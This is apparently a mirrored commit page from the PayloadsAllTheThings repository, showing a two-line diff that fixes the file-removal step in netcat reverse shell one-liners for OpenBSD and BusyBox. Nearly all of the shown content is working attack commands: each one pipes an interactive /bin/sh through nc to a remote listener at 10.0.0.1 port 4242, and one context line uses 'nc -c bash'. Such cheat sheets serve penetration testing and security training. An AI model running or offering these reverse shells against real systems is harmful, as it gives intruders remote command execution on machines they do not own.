mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
synced 2026-05-09 05:22:29 +02:00
fix rm bug in netcat reverseshell on OpenBSD & BusyBox
This commit is contained in:
parent
3e58e4a4cf
commit
d7e357f53a
1 changed files with 2 additions and 2 deletions
|
|
@ -208,13 +208,13 @@ nc -c bash 10.0.0.1 4242
|
||||||
### Netcat OpenBsd
|
### Netcat OpenBsd
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
|
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
|
||||||
```
|
```
|
||||||
|
|
||||||
### Netcat BusyBox
|
### Netcat BusyBox
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
|
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
|
||||||
```
|
```
|
||||||
|
|
||||||
### Ncat
|
### Ncat
|
||||||
|
|
|
||||||
Loading…
Reference in a new issue